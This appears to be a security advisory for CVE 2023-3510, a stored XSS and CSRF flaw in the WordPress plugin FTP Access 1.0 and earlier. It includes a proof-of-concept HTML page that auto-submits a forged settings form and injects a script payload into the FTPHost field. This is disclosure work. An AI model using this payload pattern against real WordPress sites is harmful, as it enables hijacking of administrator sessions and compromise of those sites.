FTP Access <= 1.0 – Subscriber+ Stored XSS | CVE 2023-3510

Description

The plugin does not have authorisation and CSRF checks when updating its settings and is missing sanitisation as well as escaping in them, allowing any authenticated users, such as subscriber to update them with XSS payloads, which will be triggered when an admin will view the settings of the plugin. The attack could also be perform via CSRF against any authenticated user.

Proof of Concept

Open the following HTML file when logged in as a subscriber or above:

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=ftp-access%2Fftp-access.php" method="POST">
        <input type="text" name="action">
        <input type="text" name="FTPHost" value='"><script>alert(/XSS/)</script>'>
        <input type="text" name="FTPUser" value="Updated by subscriber">
        <input type="text" name="FTPPassword" value="Updated by subscriber">
        <input type="text" name="FTPHid" value="FTPHid">        
        <input type="submit" value="submit">
    </form>
</body>

The XSS will be triggered when an admin access the settings of the plugin